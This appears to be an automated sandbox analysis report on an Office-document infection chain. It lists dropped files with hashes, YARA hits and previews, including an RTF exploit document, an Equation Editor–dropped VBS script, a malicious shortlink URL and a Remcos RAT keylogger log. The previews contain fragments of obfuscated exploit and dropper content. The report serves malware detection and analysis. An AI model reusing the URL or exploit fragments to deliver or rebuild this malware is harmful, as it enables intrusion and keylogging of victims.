Preview:	..d.i.m. .p.l.a.t.i.n.a.m.i.n.a. .....p.l.a.t.i.n.a.m.i.n.a. .=. .m.e.l.e.a.n.t.e.....a.c.o.v.a.r.(.".m.a.r.a.n.h.a.r.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".d.r.u.p.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".i.n.d.i.g.e.n.a.t.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.u.l.h.e.r.i.n.h.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".a.n.t.r.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.a.s.c.a.r.a.d.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".L._.H.e.l.p.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1D0FB8B4.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	6088012
Entropy (8bit):	2.787418529034627
Encrypted:	false
SSDEEP:	24576:sq+Ox34wayWx1+wGZjvat3wwKuWh1Owox:sq+Ox34wAx1+w0jvat3wwkh1Owg
MD5:	21EDB7AE03A1C77AC0ED8B094677E4F5
SHA1:	96448892CF82AC6556DD0AE2B5DB45EDC743FBC5
SHA-256:	E52B52825EE8BAF57C9430F29A8D1BAFC58FF95DFC93E540DF7FE33E279940D2
SHA-512:	1577CEFE8CE2B0AF658BA128763EFAECCC5390658AB46F7AA20B2FF73BB03752A253192EF8FD83942FA6FC7866E7CCEFC0D2041CB75BC86D180EF4D578AEED81
Malicious:	false
Preview:	....l...........m...............!?..3X.. EMF....L.\.S...#...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'................3f.....%....................3f.....................................L...d...4...f...7...{...4...f...........!..............?...........?................................'.......................%...........(.......................L...d...............................$...!..............?...........?................................'...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\693B04E2.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	5935072
Entropy (8bit):	2.6745845951535956
Encrypted:	false
SSDEEP:	12288:71cNPI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWwiD8dt3iGnjPjIt:7uNOR30wOSKx1Owiat3wwKuWh1OwuSH
MD5:	50A7A55055F552E07590ED711C6EA98A
SHA1:	F5163067A74A1C5F50413C85C52BD43F9426F698
SHA-256:	493C5B42C889CEC9B2B5659703DB40CB6F06FD5D4F0FD2FE72BE8C3AD0A426DC
SHA-512:	6B40B324896AB88E41E39AFF6CF78162EEF7CCF0D08636330642564898670F682404811DB20AA762AD9DAB59EBCF43164AA2AF5F0DCAF62A4DA5CB94027A0CD0
Malicious:	false
Preview:	....l...........^...r...........QN...a.. EMF......Z.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6A024A7A.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	43432
Entropy (8bit):	3.129229435071891
Encrypted:	false
SSDEEP:	384:/Usp7tZAxiFIsu5DKqaby3rZU+5D6fFC/9Vf6p:csppOVsuxdwgNUxW9NE
MD5:	61C395110F84CFE31063007BEF8C5F2F
SHA1:	DD43D9FFB48B091404EEAA8F00BC01E0AB0CB721
SHA-256:	41D4E618784A475EBDB6C5C683CE780B869B6086F07B9980B1109881DCBEA8A4
SHA-512:	4A80E35396934E953F34233DAAA200135303161FBCF40C87B000F60D7F85B50671F9ECC1D55D6A36CF0C7A7031B8D2D3A5E31423D4EBCF39EDA03BF733679A9A
Malicious:	false
Preview:	....l...........:...............~@..xW.. EMF................................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<.......%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n.......................................................................).6L.......................................... .............................G................*..Ax...N..............T.i.m.e.s. .N.e.w. .R.o...F.....6...............`...................................................dv......%...........%...........%.......................T...T...........+...q........i.@...@....Z.......L...............<.......P... .t.,...............T...T...,.......W...q........i.@...@,...Z.......L...............<.......P... .^.,.......................................T...T.......s...+............i.@...@........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\91B46433.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	6089288
Entropy (8bit):	2.7861367732295585
Encrypted:	false
SSDEEP:	24576:XneC03wwKSKI1Tw7bHTat3wwKuWh1OwQ2:XneC03wwEI1TwHHTat3wwkh1Owr
MD5:	312328140CF0503344FFC52CEAE47A36
SHA1:	399423AAAD0CAB762FDE31D8F341BDE69DC4421F
SHA-256:	1DC4BD2733ED7EC8ECDD67FC1577801FA308D951A5D77C2178AF357051EB1F54
SHA-512:	898706A1321289A2C71C3E8F6B1593F8893A91565B1224BE070304FEFA28BE755E1D5FEB59D12925786D8D86E0EC33C0DAF39B5D19911706F1F91FEA3BECEF35
Malicious:	false
Preview:	....l...........{................D...`.. EMF....H.\.]...#.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................#..."...........!...................................................#..."...........!...................................................#..."...........!...................................................#...'................3f.....%....................3f.....................................L...d.......R.......c.......R...........!..............?...........?................................'.......................%...........(.......................L...d...................................!..............?...........?................................'...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D09A9DB5.doc

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	85983
Entropy (8bit):	2.656661142867628
Encrypted:	false
SSDEEP:	384:AMNF0TJENLHnQiT6Bg1VCWsVdTLoTYq4UxggoYYxA7qYpxylSPA:fc1EpHQDgCJwvCvYYxAxylSPA
MD5:	E03F3290788DE4D7A103F16B780B3CCE
SHA1:	C220E79A2714ED59F4D7B1D0A4F6C63A03772EA6
SHA-256:	DB4FED8FB3C35582ADE2FA57A5866EC7795E94BFF34F004F66D15233D1A2FCD8
SHA-512:	9372B124ECB895A5C7672D75D17EB3EA3D91FAB5ED675AA82090D8D00C15CB4477553342A356C4F8616869C2987105E6468BB2A912196DAB055E06E34AD24B63
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D09A9DB5.doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	{\rtf1........{\\aoutl173498089 \"}.{\443609054`?:`'1=]2=]656[~8\|#_@.0.%)5-\|8,9,`!`5>@.>^><<`6^.~?~<;_?5.6(2.??888%4/&/>8;^'4!-8.$7^-6'%038?9:\|)/90~>1?!/]?:\|54&?(!)^%.^&?2~3\|3(\|@7$]^?9:&!+?[.8$,~]$&!92~#76_$+~_8./8^0???!8?@6%@-%'(8^%(;~8?,?41,9(6@%3.[:6#?$&4^?];@~$?'+?03~?(;[>@`?%-4-?08;.?.8$]^.!/2.?9.^^2~];..?5?.6%.?5-/^\|%.\|%@/.:03,=9%?.@.!=>$2~%8$?.$?55%?>.;.@:3!7:?)?~@?41/<@/&?(2#?<1,?`],1^1!;6%7+]8..?895?10,%(?\|-5`%.4?4+^-03$0]#%~-5)'!02.@?(4%?.95#.^\|?3%[947=2?$_.&`2.??[?)().;<.;??'_!3=?.):5=.].=_[(-32%.'++\|9?5?^_.>!1+!`;5?.<)27??~?1;9)_0=(%=$89-%$]6![.%=&`0($..!++.%<%_68.\|>7/.\|%]1&6<-.?<9(420^(??@[.3.(%5'_?$5-$>%5<36:=#>)2&/51@$17?,0+(%>8+>%16!4\|!(.`34\|86.;&?%1.&\|^7?;[+&;.:[12%)]4./;6%=./_!5?+;?@.~$~.[?%@=@.?.>+\|>$&~#?383.'$^?<'5].7)~06^~.\|.[0?&[:%?^^;,3?%`,:^0>-<6?=&\|??]?`-&\|/[`780&0\|!..%$8!%)4&?_:\|'.]#;[[.37&_1].:)9:$%&=+?5`?5]($??#(:?!!3?)?;-6.<\|-_.,&??+>-;'\|:<?\|)24,[,%(8.<?_@>:8?##-;?-6???)>.?4=]%?+/%54&??9?1]>5^&:2]4?'(9#.>6?6`9.;$#2+~..$[]`5$+1?9?(.<&[&87

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.680669291847939
Encrypted:	false
SSDEEP:	384:txPXxtqTDaPlxnqTDBP4xnqTDBPS4nqTDqPSxnGD:DbbRPRp2cR
MD5:	84A13B86DF4B0BC5C3521A57CA0364C3
SHA1:	91FE112E829D0BC1580BA13EECD882921AAFAC91
SHA-256:	3A5E0FA9684F2EFB38D36A8CAD73D3A3B9885CEFAFFF0D5D11F590C60BCC3891
SHA-512:	C7822A4FE2D26ED6D5B258F22F20BBBC20697B84420823C3CE8E3F256D3F570691401794E6ED48D9226F9E1D470445C9395B67074B2DE75D35E97A7C0A9E76D7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{034FF383-ED64-42E0-B6D0-5EEBB3D935C9}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	3.5211173719664557
Encrypted:	false
SSDEEP:	192:dTnJeularzhuqHMd9wMa831d3A6IaJC9ywaYAFC5LfeRVINpGSqkNIre71fR832t:diYqB83Q6XDYAFC5L2RVThkNIru583EZ
MD5:	5F859B6DEA718E31DB2828D1E8395AFF
SHA1:	A769A150736AA066D944BAF621A0004FA908C772
SHA-256:	AFF1929488B6FB4A7B0317B259806443477025AE132E6711AAC5EC3480B07919
SHA-512:	B4CE7E956F1CA683B78C299DAE597178DF6422EEA74259B5CA44A2936DF7C961B7468FC5BE5B426DF6839447350121EBB7E3A1D25BC84FE6DB61FDAE85BFAC13
Malicious:	false
Preview:	......4.3.6.0.9.0.5.4.`.?.:.`.'.1.=.].2.=.].6.5.6.[.~.8.\|.#._.@...0...%.).5.-.\|.8.,.9.,.`.!.`.5.>.@...>.^.>.<.<.`.6.^...~.?.~.<.;._.?.5...6.(.2...?.?.8.8.8.%.4./.&./.>.8.;.^.'.4.!.-.8...$.7.^.-.6.'..%.0.3.8.?.9.:.\|.)./.9.0.~.>.1.?.!./.].?.:.\|.5.4.&.?.(.!.).^.%...^.&.?.2.~.3.\|.3.(.\|.@.7.$.]..^.?.9.:.&.!.+.?.[...8.$.,.~.].$.&.!.9.2.~.#.7.6._.$.+.~._.8.../.8.^.0.?.?.?.!.8.?.@.6.%.@.-.%.'.(.8.^.%.(.;.~.8.?.,.?.4.1.,.9.(.6.@.%.3...[.:.6.#.?.$.&.4.^.?.].;.@.~..$.?.'.+.?.0.3.~.?.(.;.[.>.@.`.?.%.-.4.-.?.0..8.;...?...8.$.].^...!./.2...?.9...^.^.2.~.].;.....?.5.?...6.%...?.5.-./.^.\|.%...\|.%.@./...:.0.3.,.=.9.%.?...@...!.=.>.$.2.~.%.8.$.?...$.?.5.5.%.?.>...;...@.:.3.!.7.:.?.).?.~.@.?.4.1./.<.@./.&.?.(.2.#.?..<.1.,.?.`.]..,.1..^.1.!.;.6.%.7.+.].8.....?.8.9.5.?.1.0.,.%.(.?.\|.-.5.`.%...4.?.4.+.^.-.0.3.$.0.].#..%.~.-.5.).'.!.0.2...@.?.(.4.%.?...9.5.#...^.\|.?.3.%.[.9.4.7.=.2.?.$._...&.`.2...?.?.[.?.).(.)...;.<...;.?.?.'._.!.3.=.?...).:.5.=.*...]...=._.[.(.-.3.2.%...'.+.+.\|.9.?.5.?.^._...>.!.1.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{940A3EA1-C726-4A15-A0E5-47290CF79D3F}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eyxcmf0f.2tf.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ktearnw1.g5w.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\note\nots.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	360
Entropy (8bit):	3.5392076145810467
Encrypted:	false
SSDEEP:	6:6lVhlc65YcIeeDAl+XYwSySNombQDyFwfxNa/WAv:6lVwKeczwhykn50/W+
MD5:	9FDCBE0BD419A77A95498ECCD1F9601A
SHA1:	8F9B544C4EBAD2D4D873B7497704D97743868D63
SHA-256:	27979894D5E1B8C0D1B78A9EF0ABE55750B52F66335E863FFAFAB91F8F2118BC
SHA-512:	4E22BF8B655A6A4BA0A8EF15B31FFB4D2931936E49E44FB8A2889E69F37C1F8715E224D66E44423F1AF8963CD111396B2136E519DDC829EB485C05EC5CD7346A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Local\Temp\note\nots.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.7./.2.6. .0.7.:.0.8.:.5.9. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.s.A. .[.R.e.a.d.-.O.n.l.y.]. .[.C.o.m.p.a.t.i.b.i.l.i.t.y. .M.o.d.e.]. .-. .M.i.c.r.o.s.o.f.t. .W.o.r.d.].........[.M.i.c.r.o.s.o.f.t. .E.x.c.e.l.].........[.N.e.w. .T.a.b. .-. .G.o.o.g.l.e. .C.h.r.o.m.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Temp\{AE86EE30-228F-4A13-B460-3CD7E0B95EF5}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025596317382011586
Encrypted:	false
SSDEEP:	6:I3DPczqNo4avxggLR8zaEWpRXv//4tfnRujlw//+GtluJ/eRuj:I3DPHNktxvYg3J/
MD5:	4A4581ABB108836C69D536D27E786247
SHA1:	C867E0260C3DACE84362BAAF6BF34AEA0504E291
SHA-256:	DB6F7275509A9D8130677A27CD9C5D0B5EDE8A3204A325FBB376E6AEDEB6C90A
SHA-512:	D6B5CBBC6B6189BBE593B23963F1BAC0B0F5073D7FE8F15A31591C705CCBD89901CDE89692DD6C9DA0516C0D20F712134F812291AFF365A8CD6636BAEE6AF095
Malicious:	false
Preview:	......M.eFy...zt..R.h.E......S,...X.F...Fa.q...............................P.F.L..jES.................C..K..........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{E5664471-CFDD-40CE-B80A-5F4272B38DEA}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025496666854144305
Encrypted:	false
SSDEEP:	6:I3DPcUy5HvxggLRXx1AY3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPVy5P7TNvYg3J/
MD5:	0413B0AC98609472FEA5235CD05F49E4
SHA1:	A99B6BBFDCAA2E242907D852846C2064D40168FA
SHA-256:	E5B52C21B11EA076BF2A296954E5DD56AF44935178AC4230B429CCFBC8EC4CA4
SHA-512:	A57CA0BE61475CD7A108AD8E6E479BF88808204321CE36F454C0655DD5961726BC97C0DF736641BBC6650D39B201B223B065F27BB99181A1B0E52E392596ECF5
Malicious:	false
Preview:	......M.eFy...z./.0>..B.x.$..C.S,...X.F...Fa.q............................@.py...O../..3*.........T P..A.B..5.:........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1128541BFE0476BD.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF86012724870D7705.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	647168
Entropy (8bit):	7.897723043776095
Encrypted:	false
SSDEEP:	12288:wF6xYtzOlYQlgr9+IUZF+x3kiuFBgANkAPQ7s1Q+A+cttStNW2JS2RLkH5:s6sKGQKr9+FZF+S0ANklw1Q1Ftt5R
MD5:	8061EFD37F408B73FB8C34DE9D745BDD
SHA1:	FF3A98EB6E3EA4F9A53681B066D44FB67D9B467B
SHA-256:	A6005B3EC4FB7E0FBE3470765603968DF608CB9DD6BC29A43E97A7988D836696
SHA-512:	A33DF292BA5215E658C92126B5AE7CAA6C0AA0E1AEA32C4F7BB65190884140FE6D88EE647FE6B7B27F6188D7148EFE1D6FD0635DE75AF45B317D6F171E1C0E55
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC865B56879478CEE.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE4D87C1F83611F19.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	647680
Entropy (8bit):	7.919420373983589
Encrypted:	false
SSDEEP:	12288:RF6xYtzOlYQlgr9+IUZF+x3kiuFBgANkAPQ7s1Q+A+cttStNW2JS2RLkH5:D6sKGQKr9+FZF+S0ANklw1Q1Ftt5R
MD5:	41B29466E337251CE8F6BEDB6C4EBCB2
SHA1:	75B2748DE426AF12C513EFEA200C11F5CAADE7F1
SHA-256:	E6C9517532AC17D9B6A98B14C2B7E65E8868A9FAE3BFB83C03B46D5A369F5FBA
SHA-512:	58F877BF7B65D682D24185B77E13CF0B0D8BF84CFBC9990A8A9AB76259BB73FEF7080B046297DC1CB8E91EF762396582A994AB7793E42B7936A9E7F64120B5FC
Malicious:	false
Preview:	......................>...................(........................................................................................................................................................... ...!..."...#...$...%...&...'...(...........................................................................................................................................................................................................................................................................................................................................................................................................................................................*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [xls]
Category:	modified
Size (bytes):	91
Entropy (8bit):	4.7451174094964115
Encrypted:	false
SSDEEP:	3:bDycLOQXhb3dfpzCmMdFB3dfpzCv:bDDxjoJI
MD5:	22DA60252D369C130962EA5A269366D6
SHA1:	CF1A7DF2A02091420DA96BE2CEF0B19E0566DF6C
SHA-256:	073C2157C06257A760538787E3F8829B4AC9E9B408FB95A81B54DDB660FB56E7
SHA-512:	0DACFEEE7694FDDCB6CA1C47B27C31FD1D4295DE5C4001D054F9B3FBE1D7CF1BC892CB7DB9A32C73977383A2487ACF8051DAB2F872519DC3CEF7AE2789FED10F
Malicious:	false
Preview:	[folders]..sA.url=0..tny.wtf.url=0..AWD 490104998518.LNK=0..[xls]..AWD 490104998518.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\sA.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/sA>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.414409522043331
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/3LcmWjy:HRYFVm/3LOjy
MD5:	DCF2C6BA6D31D8757A4131A6A7C3DDB8
SHA1:	F49B7795E9EE7139609EAA674FF9606DE5A50544
SHA-256:	801EEA495BE27F4F9509F7478C7B38316438F48CC57F7763ECB7BA2B4E8B295A
SHA-512:	F8F5809A6EE32189A1F0AA5DDB46F220B400C6A35FF7BEBE9D059EBC3ABAAAB0183034BE4237D4E9343153D38D7F4AE899498CC905723798CFB711F24596862B
Malicious:	true
Preview:	[InternetShortcut]..URL=http://tny.wtf/sA..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.2963379801223045
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/3LcmWy:HRYFVm/3LOy
MD5:	D591A53347F94FBC48B4B6A5CCE920ED
SHA1:	C00082566F3211F9B1BBEC933A8AE164759C290A
SHA-256:	1CA93696A94797C9411318830CAC6A5B26FEACC37D5CAA4B3742D722CD073781
SHA-512:	BA14258049ABCC3E31AA3DFC3ABBC2949AF30BB73B031C0E408BCF036B51B7AC11E32C3B39A7952E1A007179720C970B29CB2DF8EF03A021EF3B59FEB5AE177E
Malicious:	true
Preview:	[InternetShortcut]..URL=http://tny.wtf/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
MD5:	CB3D0F9D3F7204AF5670A294AB575B37
SHA1:	5E792DFBAD5EDA9305FCF8F671F385130BB967D8
SHA-256:	45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
SHA-512:	BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	419812
Entropy (8bit):	3.5814445916859183
Encrypted:	false
SSDEEP:	3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
MD5:	94734CB139B6B9025FD8A1ACC56027DB
SHA1:	B385368BCAADACA073849A413660B68E690FFBA5
SHA-256:	7DDE4D5F845DBB2A078F6D0A290472D22CC845C6D6927CC0ADA645CE050C7B08
SHA-512:	58E0064F4B304B5503C4A7E689D96CC62BAC4BC8EE76D39FEDE408B9E777B9602334DAD4E1570FA0B9E0C363E7D8EE419A41D4DA02493D174D61F96ACCA4053F
Malicious:	true
